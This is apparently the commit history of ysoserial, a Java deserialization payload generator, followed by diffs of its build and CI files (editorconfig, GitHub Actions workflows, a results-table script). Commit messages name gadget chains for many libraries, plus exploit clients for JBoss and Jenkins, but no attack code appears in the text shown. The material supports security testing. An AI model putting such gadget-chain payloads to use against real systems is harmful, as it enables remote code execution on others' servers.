231 Commits
Author SHA1 Message Date
Chris Frohoff cb0fa86a99 skip tests for jar publish 2022-06-24 19:56:07 -07:00
Chris Frohoff 5581a773eb deploy branch jar to github packages maven repo 2022-06-24 19:53:37 -07:00
Chris Frohoff c8e203e358 added myfaces3 payload for sentimental reasons 2022-06-08 20:39:40 -07:00
Chris Frohoff 72de587568 fix payload name parsing 2022-06-05 23:36:44 -07:00
Chris Frohoff b8dd652273 try to fix jrmp client test 2022-06-05 23:09:08 -07:00
Chris Frohoff f4a6bcaf09 trying to fix jrmp reverse test 2022-06-05 22:25:22 -07:00
Chris Frohoff 62a5819182 added extra output 2022-06-05 20:26:41 -07:00
Chris Frohoff b4f8062191 .github/ 2022-05-24 19:42:17 -07:00
Chris Frohoff 26f38bb5df simplifications 2022-05-20 20:42:07 -07:00
Chris Frohoff 16cf78837e test fixes 2022-05-19 23:36:20 -07:00
Chris Frohoff 780bba473d forgot filter class 2022-05-13 18:37:06 -07:00
Chris Frohoff bee1257c5f move filter code to own class 2022-05-13 18:36:49 -07:00
Chris Frohoff 58d883fa6d disable filter 2022-05-13 18:06:29 -07:00
Chris Frohoff 710ae4deeb possible test fix 2022-05-10 20:15:42 -07:00
Chris Frohoff cac360b2ea resilient filter disabling 2022-05-09 23:36:53 -07:00
Chris Frohoff 8804dcb1dd jrmp listener test case 2022-05-09 21:04:00 -07:00
Chris Frohoff c6a0123f0b dns test 2022-05-07 15:21:16 -07:00
Chris Frohoff 34531b28fe tests for scala payloads 2022-05-07 15:02:42 -07:00
Chris Frohoff ce78f7301f adding test harnesses 2022-05-07 13:46:43 -07:00
Chris Frohoff 379f95f7a8 more test fix/cleanup 2022-04-29 22:49:32 -07:00
Chris Frohoff 5b831ccbd7 another test fix attempt 2022-04-29 22:35:38 -07:00
Chris Frohoff 08544e319d try to fix test 2022-04-29 22:17:20 -07:00
Chris Frohoff 1614ef011e revert change 2022-04-29 22:03:26 -07:00
Chris Frohoff 22b523a968 use cached deps for java 1.6 due to supported TLS versions 2022-04-29 21:49:38 -07:00
Chris Frohoff 73f83e47e5 fix some tests 2022-04-29 21:05:18 -07:00
Chris Frohoff 2f52d9da6b remove cc9 due to missing dep 2022-04-26 23:30:00 -07:00
Chris Frohoff 3605c6b903 test 2022-04-26 23:13:35 -07:00
Chris Frohoff 9010ad3dd4 fix class name 2022-04-26 23:05:49 -07:00
Chris Frohoff 1b22e41e83 fix pom merge error 2022-04-26 23:01:50 -07:00
be6cbf7f13 New gadgets (#180)
* CommonsCollections8 payload (#116)

* New gadgets (Struts2JasperReports - Atomikos - SpringJta) (#123)

* added Atomikos gadget payload

* added Atomikos gadget payload

* naming

* added spring-jta gadget

* added strutsJasperReports gadget + tests

* updated deps list on springJta

* fixed authors

* renaming

* Add new payload in Commons Collections 3.2.1 (#125)

* Add Jython2 gadget (#135)

This version of Jython2 executes a command through os.system(). Based on Jython1 from @pwntester & @cschneider4711

Co-authored-by: Chris Frohoff <[email protected]>

* Add scala and clojure payloads from a couple of years ago (#137)

* Add some payloads for Scala

* Add new clojure payload effecting versions since 1.8.0

* Fix infinite loop behavior of clojure2 payload.

* add CommonsBeanutils2 (#163)

* ceylon gadget (#173)

Co-authored-by: navalorenzo <[email protected]>
Co-authored-by: Stefano Ciccone <[email protected]>
Co-authored-by: 梅子酒 <[email protected]>
Co-authored-by: Yorick Koster <[email protected]>
Co-authored-by: Ian Haken <[email protected]>
Co-authored-by: k4n5ha0 <[email protected]>
Co-authored-by: supersache <[email protected]>
2022-04-26 22:59:45 -07:00
Chris Frohoff bac4220546 testing 2022-03-25 01:49:01 -07:00
Chris Frohoff 69062ac065 merge versions with identical test results 2022-03-25 01:38:52 -07:00
Chris Frohoff 55d0714d26 test 2022-03-25 01:00:43 -07:00
Chris Frohoff ee4cc4939b test 2022-03-25 00:55:11 -07:00
Chris Frohoff e2005f74eb test 2022-03-25 00:47:05 -07:00
Chris Frohoff 073d1df1b8 test 2022-03-25 00:33:52 -07:00
Chris Frohoff 3d67879cb5 test 2022-03-25 00:31:51 -07:00
Chris Frohoff a4036b09ab test 2022-03-25 00:17:51 -07:00
Chris Frohoff 6b807bf3c9 test 2022-03-25 00:06:08 -07:00
Chris Frohoff 84affc3092 testing 2022-03-24 23:51:22 -07:00
Chris Frohoff f778c5d0ec testing 2022-03-24 23:47:14 -07:00
Chris Frohoff 42da73e4ee test 2022-03-24 23:41:12 -07:00
Chris Frohoff 750ce2fe92 test 2022-03-24 23:36:30 -07:00
Chris Frohoff 63fb24166a test 2022-03-24 23:13:01 -07:00
Chris Frohoff 099655fe2c test 2022-03-24 23:02:32 -07:00
Chris Frohoff 91571eb883 test 2022-03-24 22:54:47 -07:00
Chris Frohoff 07c7dc9374 test 2022-03-24 22:52:59 -07:00
Chris Frohoff 2812eae169 test 2022-03-24 22:46:55 -07:00
Chris Frohoff e6c3633a6a test 2022-03-24 22:27:55 -07:00
Chris Frohoff d8dc5e8891 test 2022-03-24 22:26:33 -07:00
Chris Frohoff 4ba73c401e test 2022-03-24 22:23:24 -07:00
Chris Frohoff d7d3f7bc56 test 2022-03-24 22:16:47 -07:00
Chris Frohoff 5b1131718c test 2022-03-24 22:14:16 -07:00
Chris Frohoff b30f5f5873 test 2022-03-24 22:10:22 -07:00
Chris Frohoff 2a01dcea7c test 2022-03-24 22:06:29 -07:00
Chris Frohoff 44a6e472d2 testing 2022-03-24 21:56:53 -07:00
Chris Frohoff 8534c34776 testing 2022-03-24 21:56:03 -07:00
Chris Frohoff d50cf0652e testing 2022-03-22 22:41:24 -07:00
Chris Frohoff 70ca088792 testing 2022-03-22 22:40:33 -07:00
Chris Frohoff 6f5f603c41 testing 2022-03-22 22:39:27 -07:00
Chris Frohoff 53f560d22d testing 2022-03-22 01:19:40 -07:00
Chris Frohoff 76585c5ab6 testing 2022-03-22 01:05:29 -07:00
Chris Frohoff 47dcf11dd9 testing 2022-03-22 01:03:15 -07:00
Chris Frohoff f0233ca0c9 fix test dependency downloading 2022-03-21 20:13:49 -07:00
Chris Frohoff 658ba7ea09 re-add output 2022-03-20 22:54:47 -07:00
Chris Frohoff d5d6a4de0a testing 2022-03-20 22:39:32 -07:00
Chris Frohoff 3388e450a3 testing 2022-03-20 22:33:10 -07:00
Chris Frohoff a2ea161c7b testing 2022-03-20 22:27:34 -07:00
Chris Frohoff f0fa3a667e testing 2022-03-20 22:04:18 -07:00
Chris Frohoff 779ee143c9 testing 2022-03-20 21:10:43 -07:00
Chris Frohoff 3f25e0a0fd testing 2022-03-20 20:44:24 -07:00
Chris Frohoff ac2251514d testing 2022-03-20 20:37:06 -07:00
Chris Frohoff 746dae054d add logging config 2022-03-20 20:25:14 -07:00
Chris Frohoff 619dfbf607 gh actions testing 2022-03-20 20:25:02 -07:00
Chris Frohoff 87785d2000 refactors 2022-03-20 20:24:28 -07:00
Chris Frohoff d022c995e7 payload test refactors 2022-03-19 15:46:14 -07:00
tennc f468d97909 GH Actions (#138)
* Create maven.yml
2022-03-05 15:47:46 -08:00
Chris Frohoff 8eb5cbfbf6 test fixes (#166)
* fix badge url

* switch to https repo url
2021-08-17 18:54:51 -07:00
YunLemon d13299428d Improve Travis CI build Performance (#164) 2021-08-17 16:14:45 -07:00
Chris Frohoff 79179e00b8 minimal test for escaping issues in createTemplatesImpl (#165) 2021-08-17 16:13:01 -07:00
XinRoom 76ac2bb259 Resolve escape error (#151)
Resolve escape error:
Caused by: compile error: ) is missing
2021-08-17 15:46:32 -07:00
Michael Stepankin d367e379d9 New gadget chain based on Apache Click (#154)
1. Add ysoserial.payloads.Click1 class
2. Update README.md with latest payloads
3. Remove duplicated "commons-io:commons-io:2.6" entry from pom.xml
2021-02-02 08:41:29 -08:00
testanull 138dc36bd2 Add AspectJWeaver file write gadget (#145)
* Add AspectJWeaver file write gadget
2021-01-11 08:57:01 -08:00
Chris Frohoff 750168c6d3 Merge pull request #149 from Alexandre-Bartel/jdk12_setAccessible
Just call setAccessible with Java > 12
2021-01-05 11:11:54 -08:00
Chris Frohoff 4df2ee2bb5 Merge pull request #150 from frohoff/fix_jk6
fix jdk6 protocol errors
2020-12-23 13:52:55 -08:00
Chris Frohoff 63fb038cfb fix jdk6 protocol errors 2020-12-23 21:37:39 +00:00
Chris Frohoff df9cea71d3 Merge pull request #148 from Alexandre-Bartel/missing_dep
Added missing dependency
2020-12-23 11:27:45 -08:00
Alexandre Bartel fc577c0bcd Just call setAccessible with Java > 12 2020-12-14 11:23:59 +01:00
Alexandre Bartel 0d5604ea73 Added missing dependency 2020-12-14 11:07:02 +01:00
Chris Frohoff 6eca5bc740 Merge pull request #144 from drwetter/patch-2
Using HTTPS
2020-08-28 08:58:59 -07:00
Chris Frohoff 8ede62029d Merge pull request #139 from JLLeitschuh/fix/JLL/use_https_to_resolve_dependencies
[SECURITY] Use HTTPS to resolve dependencies in Maven Build
2020-08-28 08:58:43 -07:00
Chris Frohoff 7bcd9e7974 Merge pull request #131 from drwetter/patch-1
Use HTTPS for jenkins repo
2020-08-28 08:58:16 -07:00
Chris Frohoff 098854113c Merge pull request #130 from Jakobu5/master
Update README.md
2020-08-28 08:57:56 -07:00
Dirk Wetter a7be14877a Using HTTPS
* added for jenkins
  * also added for repo1.maven.org
2020-07-10 16:19:56 +02:00
Jonathan Leitschuh 6bdb3ef3f8 Use HTTPS instead of HTTP to resolve dependencies
This fixes a security vulnerability in this project where the `pom.xml`
files were configuring Maven to resolve dependencies over HTTP instead of
HTTPS.

Signed-off-by: Jonathan Leitschuh <[email protected]>
2020-02-11 00:10:26 -05:00
Dirk Wetter 9d74e17ae6 Use HTTPS for jenkins repo
... tested & worked for me
2019-10-15 11:19:26 +02:00
Jakobu5 d5a95e34aa Update README.md 2019-10-14 13:27:15 +02:00
Chris Frohoff 30099844c6 Merge pull request #119 from jax777/patch-1
Fixes #90
2019-09-07 12:01:49 -04:00
Chris Frohoff 66cda5a6cf Merge pull request #127 from frohoff/docker_assembly_fix
Fix for Dockerfile assembly.xml issue
2019-08-05 22:29:51 -07:00
Chris Frohoff 33f61bff57 Merge pull request #115 from frohoff/test_fixes
Test fixes
2019-08-05 21:58:31 -07:00
Chris Frohoff fe74b6b200 fix for dockerfile 2019-08-05 21:57:47 -07:00
jax777 863dc87f78 Update CommonsCollections5.java
real Gadget chain:
2019-05-06 16:40:28 +08:00
Chris Frohoff 55f1e7c35c Adding exploit JMXInvokeMBean (#111)
Adding exploit JMXInvokeMBean
2019-05-01 08:41:39 -07:00
Chris Frohoff baa74aa3f6 mark test as flaky 2019-04-25 16:04:42 -07:00
Chris Frohoff f829b478ae Quiet jigsaw warnings (#114)
Quiet jigsaw warnings
2019-04-25 14:29:32 -07:00
Chris Frohoff 02757f649c quiet jigsaw warnings 2019-04-25 14:17:30 -07:00
Chris Frohoff f5e40c8d74 Assembly to include tests in jar (#104)
Assembly to include tests in jar
2019-04-25 09:21:18 -07:00
Chris Frohoff eb1c49eae7 fix travis config 2019-04-25 08:34:51 -07:00
Chris Frohoff 7adb3cfe63 refactors 2019-04-25 08:20:07 -07:00
Chris Frohoff 4543487154 assembly to include tests in jar 2019-04-25 08:20:07 -07:00
Chris Frohoff 47154e8c7f CommonsCollections7 payload (#110)
CommonsCollections7 payload
2019-04-25 08:11:24 -07:00
Hans-Martin Münch 17085eb804 Adding exploit JMXInvokeMBean 2019-03-16 17:53:04 +01:00
scristalli f2ea3ae83a CommonsCollections7 payload 2019-03-15 19:24:29 +01:00
Chris Frohoff ff59523eb6 Merge pull request #106 from tint0/rhino-gadget-2
MozillaRhino2 gadget
2019-02-06 09:08:02 -08:00
tint0 04c198a3d0 getDeclaredField raises exception instead of returning null when field isn't found
(cherry picked from commit 348d873)
2019-01-30 13:21:47 +07:00
tint0 6ba90d2d83 New rhino gadget
(cherry picked from commit 7533f65)
2019-01-30 13:21:25 +07:00
Chris Frohoff f31677fbc3 Merge pull request #91 from supersache/vaadingadget
Vaadin gadget
2018-11-19 23:38:08 -08:00
Chris Frohoff 8cf9802a0c Merge pull request #103 from frohoff/fixes
Various JDK Build/Test Fixes
2018-11-19 13:37:12 -08:00
Chris Frohoff ecdac3988b troubleshooting travis jdk6 build 2018-11-19 08:22:36 -08:00
Chris Frohoff cecdd80a81 print mvn version 2018-11-16 18:17:06 -08:00
Chris Frohoff 548857e3f6 jdk10+ compile fixes 2018-11-16 18:08:51 -08:00
Chris Frohoff 3f4922505f fix for jdk10+ 2018-11-16 17:44:28 -08:00
Chris Frohoff 8c1917f603 fixes for jdk6 2018-11-16 17:41:40 -08:00
Chris Frohoff 986647e372 more robust java version parsing 2018-11-16 17:35:24 -08:00
Chris Frohoff 9b5b85da81 after_script to print extra test info 2018-11-16 17:34:53 -08:00
Chris Frohoff d0f4dfd092 reorganizing travis config 2018-11-16 17:08:24 -08:00
Chris Frohoff 63ff643129 fix travisci config for jdk6 2018-11-16 13:43:28 -08:00
Chris Frohoff ef1a1beb1a attempt to fix jdk6/7 appveyor config 2018-11-16 13:25:44 -08:00
Chris Frohoff 6909d5269d retry on failure for flaky gadgets/tests 2018-11-16 11:40:23 -08:00
Chris Frohoff fd911d0969 fix (hopefully) test flakiness 2018-11-16 11:02:44 -08:00
Chris Frohoff 377216a525 disable some gadgets/tests for jdk6 2018-11-16 10:47:29 -08:00
Chris Frohoff 09440ff356 fix build for jdk6 2018-11-16 10:23:03 -08:00
Chris Frohoff 4088b8cda2 remove serialization-stage secmgr to avoid spurious errors due to extra surefire thread 2018-11-15 13:17:25 -08:00
Chris Frohoff a1a40d239f upgraded surefire to workaround SUREFIRE-1588 issue 2018-11-15 09:13:34 -08:00
Francesco Soncina ecc60747a5 fix: include javax.el with hibernate5, fix #97 (#98) 2018-11-04 09:46:56 -08:00
supersache e0b15a3961 additional dependency added, precondition badattrvalexcobj 2018-09-20 13:00:21 +02:00
Chris Frohoff 16fc48b22b fix download link (#92) 2018-09-19 19:03:36 -07:00
supersache 614fcfeb2a Changed from TemplatesImpl to Object 2018-09-19 15:08:27 +02:00
supersache 58e578b0f6 Changes for the new Vaadin Gadget 2018-09-19 14:55:56 +02:00
Félix Martel-Denis 99f463cc69 hibernate3 payload (#88) 2018-09-12 08:25:06 -07:00
Nicky Bloor 477ecb8f05 Add support for exploiting SSL RMI services. (#81)
* Add support for exploiting SSL RMI services.

* Make PMD happy.
2018-04-23 08:49:47 -07:00
Chris Frohoff e9f112ac50 fix jitpack link (#83) 2018-04-02 11:54:39 -07:00
Chris Frohoff b617b7badd Merge pull request #73 from frohoff/doc-updates
doc updates
2017-09-23 16:05:37 -04:00
Chris Frohoff b4d4d580a5 fixed payload authors, removed versions from jar names, added marshalsec/ysoserial.net links 2017-09-23 16:00:16 -04:00
Chris Frohoff 1f2e7bf08e fix badge 2017-09-07 22:50:31 -07:00
Chris Frohoff 2b10caa99b readme badge updates 2017-09-07 22:48:33 -07:00
Chris Frohoff e2110861a2 travis/appveyor config changes 2017-09-07 22:40:54 -07:00
Chris Frohoff 02b32407d9 appveyor.yml 2017-09-07 22:25:22 -07:00
Chris Frohoff 3f352eacc6 bumping up wait time 2017-09-07 21:41:14 -07:00
Chris Frohoff 73c5d1dbd4 cache maven repo in travis builds 2017-09-07 21:07:39 -07:00
Chris Frohoff c01dc9cf40 ignore internal api compile warnings 2017-09-07 20:22:11 -07:00
Chris Frohoff 5d5fdc458b disable stack trace trimming in surefire 2017-09-07 19:47:58 -07:00
Chris Frohoff 52383a180d docker support 2017-09-05 10:05:27 -07:00
Chris Frohoff 80b0d2f368 fixed broken tests 2017-09-03 23:40:17 -07:00
Chris Frohoff 8a330853c6 test/author fixes 2017-09-03 11:19:05 -07:00
Chris Frohoff fa0ba6031c Merge pull request #55 from SkylarWatson/file_upload_test
Updated payload args in FileUploadTest to match what production code …
2017-09-03 10:32:46 -07:00
Chris Frohoff fb1e65e5f2 0.0.6 snapshot 2017-09-02 21:07:43 -07:00
Chris Frohoff 19514a45e4 0.0.5 release 2017-09-02 21:07:05 -07:00
Chris Frohoff 028ee30e9c fixes, refactoring 2017-09-02 20:57:11 -07:00
Chris Frohoff 6088aa3f20 Merge pull request #70 from relaxnow/patch-1
Update README.md to reflect additional payloads
2017-09-02 12:47:51 -07:00
Boy Baukema 55800d1e3a Update README.md to reflect additional payloads 2017-08-10 11:10:39 +02:00
Chris Frohoff 35bce8fe45 Merge pull request #68 from JackOfMostTrades/clojure-gadget
Add a gadget chain for exploiting the presence of clojure.
2017-07-19 10:38:12 -07:00
Ian Haken 4cb0a5a17a Add a gadget chain for exploiting the presence of clojure. 2017-07-08 09:40:26 -07:00
Chris Frohoff ca38b73711 Merge pull request #67 from h3xstream/master
URLDNS: Small fix to avoid DNS resolution while generating the payload
2017-06-09 10:15:14 -07:00
Philippe Arteau f379338272 URLDNS: Small fix to avoid DNS resolution while generating the payload 2017-05-23 17:45:04 -04:00
Chris Frohoff 5bd2ced110 Merge pull request #66 from gebl/master
Add URLDNS gadget, that uses the argument as a URL to trigger a DNS l…
2017-03-26 19:19:56 -07:00
Gabriel Lawrence 12a9f56d01 Add URLDNS gadget, that uses the argument as a URL to trigger a DNS lookup. 2017-03-27 01:34:28 +00:00
Chris Frohoff ad26e2bd46 links to jitpack jars, note about release removal, build instructions 2016-10-19 11:33:38 -07:00
Skylar 8ad9b583a6 Updated payload args in FileUploadTest to match what production code is looking for; Added Intellij project files to .gitignore 2016-08-14 19:52:32 -05:00
Chris Frohoff d143b8cbfb Merge pull request #52 from matthiaskaiser/master
Adding the RhinoGadget, Javassist/Weld, JBossInterceptors  Gadget to ysoserial.
2016-07-29 09:28:06 -07:00
Matthias Kaiser 436d2040e4 Merge branch 'master' of https://github.com/frohoff/ysoserial 2016-07-29 12:39:26 +02:00
Matthias Kaiser a62a266df5 Updated names 2016-07-29 12:36:02 +02:00
Chris Frohoff bbebd8bd64 Merge pull request #53 from jacob-baines/fileupload2
FileUpload2
2016-07-28 10:06:11 -07:00
Jacob Baines d8bef9642a Rename FileUpload2 to Wicket1 2016-07-28 09:03:05 -04:00
Matthias Kaiser 2e6f61c039 Adding a Javassist/Weld/JBossInterceptor gadgets to ysoserial. 2016-07-26 17:11:11 +02:00
Matthias Kaiser 0f9526ff24 Adding a Javassist/Weld/JBossInterceptor gadgets to ysoserial. 2016-07-26 16:42:46 +02:00
Matthias Kaiser 8698844034 Adding a Javassist/Weld gadget to ysoserial. 2016-07-26 16:15:42 +02:00
Matthias Kaiser 2ae8b051a5 Adding the RhinoGadget to ysoserial.
The gadget uses the standalone version of Rhino ("org.mozilla.javascript.*"-namespace).
2016-07-26 14:48:09 +02:00
Chris Frohoff 80b21d9cb3 Merge pull request #51 from jacob-baines/jython_java6
Fix Jython1 Breaking Java 6
2016-07-25 16:57:38 -07:00
Jacob Baines 0fb8d8d222 Don't use API introduced in Java 7 2016-07-25 18:09:31 -04:00
Jacob Baines 6f3dd217c7 Created FileUpload2 based on Apache Wicket's version of DiskFileItem. Also changed FileUpload1 to support Windows filepaths 2016-07-25 14:15:39 -04:00
Chris Frohoff 74254d2cc7 Merge pull request #44 from mbechler/master
Test fixes, some minor stuff
2016-07-25 09:38:03 -07:00
Chris Frohoff 09603ef5ed Merge pull request #49 from jacob-baines/jython-general
A more generalized Jython1
2016-07-25 09:36:16 -07:00
Chris Frohoff e90e8725b4 Merge pull request #50 from matthiaskaiser/master
Adding general CC gadget that works with IBM and Oracle JRE
2016-07-25 09:35:16 -07:00
matthiaskaiser 39ea0590fb Adding general CC gadget that works with IBM and Oracle JRE 2016-07-04 16:32:51 +02:00
Jacob Baines f924363559 A more generalized Jython1 use case 2016-06-26 20:38:25 -04:00
mbechler c61106f69f Some minor improvements
- Let JRMPListener dump the object id used in DGC calls.
- Allow full specification of JDNI name in Hibernate2, accordingly fix JRMPReverseConnectTest
- Randomize object id in JRMLClient payload for increased reliability (and side channel)
2016-05-14 10:29:39 +02:00
mbechler c7a3f8c65c Fix tests
- extract version checking code
- add version check for AnnotationInvocationHandler usage
- add java.rmi.server.useCodebaseOnly=false to surefire system properties
2016-05-14 10:04:56 +02:00
Chris Frohoff 8adc168dc0 Merge pull request #34 from gitter-badger/gitter-badge
Add a Gitter chat badge to README.md
2016-03-18 08:53:00 -07:00
The Gitter Badger e8b739c383 Add Gitter badge 2016-03-18 15:51:49 +00:00
Chris Frohoff 1bd7e9e488 disabling jython test 2016-03-13 17:19:30 -07:00
Chris Frohoff 0b402d2bee Merge pull request #29 from pwntester/jython_gadget
Rebased Jython Gadget
2016-03-13 16:42:51 -07:00
Alvaro Muñoz 097179b703 Rebased Jython Gadget 2016-03-14 00:30:31 +01:00
Chris Frohoff 2650ab6093 skip cc5 test for now 2016-03-13 12:28:06 -07:00
Chris Frohoff 3be56c7ac8 Merge pull request #26 from jasinner/AnnotationInvocationHandler
workaround for issue 17
2016-03-13 12:19:54 -07:00
Chris Frohoff 4b798a1d6e Merge pull request #20 from mbechler/cleanup
Cleaned up version of #14
2016-03-13 12:12:41 -07:00
mbechler 3230c080ff Add rome (RSS/Atom library) gadget chain.
Add exploit and test code for JRMP reverse connect remote classloading.
2016-03-12 17:35:17 +01:00
Jason Shepherd 5d9e0e9eca workaround for issue 17 2016-03-11 10:56:16 +10:00
mbechler bdb1e0db3d Add some tooling docs 2016-03-09 15:30:04 +01:00
mbechler 6873a43409 Drop empty javadocs. 2016-03-09 14:11:15 +01:00
Chris Frohoff c86d134f14 Merge pull request #21 from nikaiw/master
Fix method name in the usage part of the documentation
2016-03-07 10:39:45 -08:00
nk acc264faa7 Fix method name in the usage part of the documentation 2016-03-07 18:05:46 +01:00
mbechler 2d6962162b Made json-lib gadget chain more reliable. 2016-03-07 11:35:52 +01:00
mbechler 3273b27c75 JRMPListener Java6 compatiblity. 2016-03-06 19:32:08 +01:00
mbechler eabfce0dc2 Disable json-lib test as the gadget chain depends on the HashMap ordering which seemingly is different
across JDK versions.
2016-03-06 19:24:32 +01:00
mbechler b814712e19 Fix HashMap creation for java7. 2016-03-06 18:53:39 +01:00
mbechler 4795bce7ff Add hook for payload generators to modify the object before finalizers are called
(to fix the fileupload test and also to prevent exploiting yourself, also may be
useful for finalizer based gadgets)
2016-03-06 15:50:59 +01:00
mbechler 5fc361df4f A final touch 2016-03-06 14:54:49 +01:00
mbechler 8beeec6594 Add JBoss/Wildfly exploitation client. 2016-03-06 14:54:49 +01:00
mbechler 37dbcf57e4 Fix fileupload test reliability 2016-03-06 14:54:49 +01:00
mbechler c94779b83d Add jenkins client and exploits (CVE-2016-0788) 2016-03-06 14:54:49 +01:00
mbechler 6bb0d80aa0 Some cleanup of myfaces gadgets. 2016-03-06 14:54:49 +01:00
mbechler 7879428d9c Add MyFaces gadgets.
Add ability to provide a custom deserializer (needed for setting up the faces context)
2016-03-06 14:54:49 +01:00
mbechler d6658809cf Move payload annotation to annotation package. 2016-03-06 14:54:49 +01:00
mbechler bba1460cb6 Remove wrong copyright notices, again 2016-03-06 14:54:49 +01:00
mbechler c8e82237fe Add C3P0 gadget chain.
Add remote classloading test harness.
2016-03-06 14:54:49 +01:00
mbechler 20580e918d Add commons fileupload file operation gadget chain. 2016-03-06 14:54:49 +01:00
mbechler 6f9c8dca2b Rename beanutils gadget 2016-03-06 14:54:49 +01:00
mbechler 4130fc5545 Add spring variant and json-lib gadget chain. 2016-03-06 14:54:49 +01:00
mbechler bd21624609 Add hibernate gadget chains.
Remove missed copyright notices.
2016-03-06 14:54:49 +01:00
mbechler 436e831cbd Add JRMP utilties, gadgets and test code. 2016-03-06 14:54:49 +01:00
mbechler 8dfce7ed73 Add custom test infrastructure. 2016-03-06 14:54:49 +01:00
mbechler 7157d5e297 Some basic cleanups (warnings, imports)
Add controlled instantiation constructor utility.
2016-03-06 14:54:49 +01:00
mbechler a69ce66e69 Add ability to generate TemplatesImpl payloads with an actual non-shaded xalan implementation. 2016-03-06 14:53:30 +01:00
Chris Frohoff 48338fb6e7 Merge pull request #4 from ltearno/patch-1
Call setAccessible only once
2016-03-04 01:07:00 -08:00
Chris Frohoff 39574362ad Merge pull request #13 from pwntester/master
BeanShell exploit
2016-02-27 16:09:01 -08:00
Alvaro Muñoz c616a23428 BeanShell exploit 2016-02-27 23:50:11 +01:00
Chris Frohoff adb16e1e09 bump version to next snapshot 2016-02-25 07:47:28 -08:00
Chris Frohoff 87c91b27a0 added beanutils gadget chain, release 0.0.4 2016-02-24 14:26:00 -08:00
Chris Frohoff 2c79998485 remove cruft 2016-02-24 13:57:41 -08:00
Arnaud Tournier 5b4b8a3320 Call setAccessible only once
In the getField method, due to recursion, the field.setAccessible was called a number of times equal to the number of level to go up the hierarchy to find the field
2015-12-11 16:32:32 +01:00
122 changed files with 7968 additions and 546 deletions
+13
View File
@@ -0,0 +1,13 @@
root = true
[*]
end_of_line = lf
charset = utf-8
trim_trailing_whitespace = true
insert_final_newline = true
indent_style = space
indent_size = 4
max_line_length = 120
[*.{yml,yaml}]
indent_size = 2
+14
View File
@@ -0,0 +1,14 @@
Running with [nektos/act](nektos/act)
=====================================
Requires `HEAD` version of `act`
```
$ act --version
act version HEAD-4d71071
```
`act -r --artifact-server-path /tmp/ -P ubuntu-latest=ghcr.io/catthehacker/ubuntu:full-latest`
Known issues:
- https://github.com/nektos/act/issues/910
- https://github.com/nektos/act/issues/973
- https://github.com/nektos/act/issues/284
+19
View File
@@ -0,0 +1,19 @@
name: publish jar
on: [push]
jobs:
publish:
runs-on: ubuntu-latest
permissions:
contents: read
packages: write
steps:
- uses: actions/checkout@v3
- uses: actions/setup-java@v3
with:
java-version: '8'
distribution: 'adopt'
- name: Publish package
run: mvn -B clean deploy -DskipTests -DrepositoryId=github -Dversion=${GITHUB_REF_NAME}-SNAPSHOT
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+70
View File
@@ -0,0 +1,70 @@
import itertools
import json
import operator
import re
import sys
import subprocess
import pytablewriter
# try:
# import pytablewriter
# except:
# subprocess.check_call(['pip', 'install', 'pytablewriter'])
# import pytablewriter
def ver(v):
return v.split(".", 1)[1] if v.startswith("1.") else v
def status(s):
return ':green_circle:' if s == 'SUCCESS' else ':red_square:'
if len(sys.argv) > 1:
with open(sys.argv[1]) as f:
data = [json.loads(line) for line in f.readlines()]
else:
data = [json.loads(line) for line in sys.stdin.readlines()]
for da in data:
del da['out']
# print(repr(data))
GET_VER = operator.itemgetter('java.version')
GET_PAY = operator.itemgetter('payload')
by_payload = {payload:
{ver(version): list(o2)[0]['status']
for version, o2 in itertools.groupby(sorted(o1, key=GET_VER), GET_VER)}
for payload, o1 in itertools.groupby(sorted(data, key=GET_PAY), GET_PAY)}
by_version = {ver(version):
{payload: list(o2)[0]['status']
for payload, o2 in itertools.groupby(sorted(o1, key=GET_PAY), GET_PAY)}
for version, o1 in itertools.groupby(sorted(data, key=GET_VER), GET_VER)}
sorted_ver = sorted(by_version.items(), key=lambda v: list(map(int, re.split(r'[._]', v[0]))))
ver_groups = [list(v for v, r in vers) for res, vers in itertools.groupby(sorted_ver, operator.itemgetter(1))]
ver_ranges = [[vs[0], vs[-1]] for vs in ver_groups]
# print('\n'.join(repr(v) for v in ver_groups))
#
# print(repr(by_payload))
# print(repr(by_version))
vers = list(list(by_payload.items())[0][1].keys())
# print(vers)
md = pytablewriter.MarkdownTableWriter()
md.table_name = ''
md.header_list = [''] + ['{} - {}'.format(vs, ve) if vs != ve else vs for vs, ve in ver_ranges]
md.value_matrix = [[p] + [status(o[vs]) for vs, ve in ver_ranges] for p, o in sorted(by_payload.items())]
md.margin = 1
md.write_table()
+121
View File
@@ -0,0 +1,121 @@
# https://michaelheap.com/dynamic-matrix-generation-github-actions/
name: test
on: [push]
jobs:
# TODO cache build output by commit
build:
runs-on: ubuntu-latest
steps:
- if: ${{ env.ACT }} # act workaround
run: sudo chown -R runner:runner /var/run/act
- uses: actions/checkout@v2
- if: ${{ env.ACT }} # act workaround
run: sudo chown -R runner:runner .
- uses: actions/setup-java@v2
with:
java-version: 8
distribution: adopt
- if: ${{ !env.ACT }} # use -r with act
uses: actions/cache@v2
with:
path: ~/.m2/repository
key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }}
restore-keys: |
${{ runner.os }}-maven-
- run: mvn -B clean package -DskipTests
- uses: actions/upload-artifact@v3
with:
name: jar
path: target/ysoserial-*-all.jar
set-matrix:
runs-on: ubuntu-latest
container: dwdraju/alpine-curl-jq
steps:
- id: get-versions
run: |
URL="https://hub.docker.com/v2/repositories/vulhub/java/tags/?page_size=100"
VERSIONS=$(curl -s $URL "$URL&page=2" | jq -rc '[[.results[].name] | _nwise(1) | join(" ")]')
echo "::set-output name=versions::$VERSIONS"
outputs:
versions: ${{ steps.get-versions.outputs.versions }}
run-java:
needs:
- set-matrix
- build
strategy:
matrix:
version: ${{ fromJson(needs.set-matrix.outputs.versions) }} # broken in act
# version: [7u21-jdk 7u25-jdk, 7u40-jdk]
runs-on: ubuntu-latest
steps:
- uses: actions/download-artifact@v3
with:
name: jar
path: jar
- run: mv jar/ysoserial-*-all.jar jar/ysoserial.jar
- run: |
touch out.txt
for v in ${{ matrix.version }}; do
echo running $v
docker pull vulhub/java:$v
docker run --rm -v $(pwd):/app vulhub/java:$v java -cp '/app/jar/ysoserial.jar' -DforceTests=true ysoserial.test.payloads.PayloadsTest >> out.txt
done
- uses: actions/upload-artifact@v3
if: always()
with:
name: out-${{ matrix.version }}
path: out.txt
analyze:
needs: run-java
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- uses: actions/download-artifact@v3
with:
path: artifacts
- run: cat artifacts/out*/*.txt > out.txt
- run: pip install pytablewriter
- run: cat out.txt | python .github/workflows/results.py > matrix.md
- uses: actions/upload-artifact@v3
with:
name: out
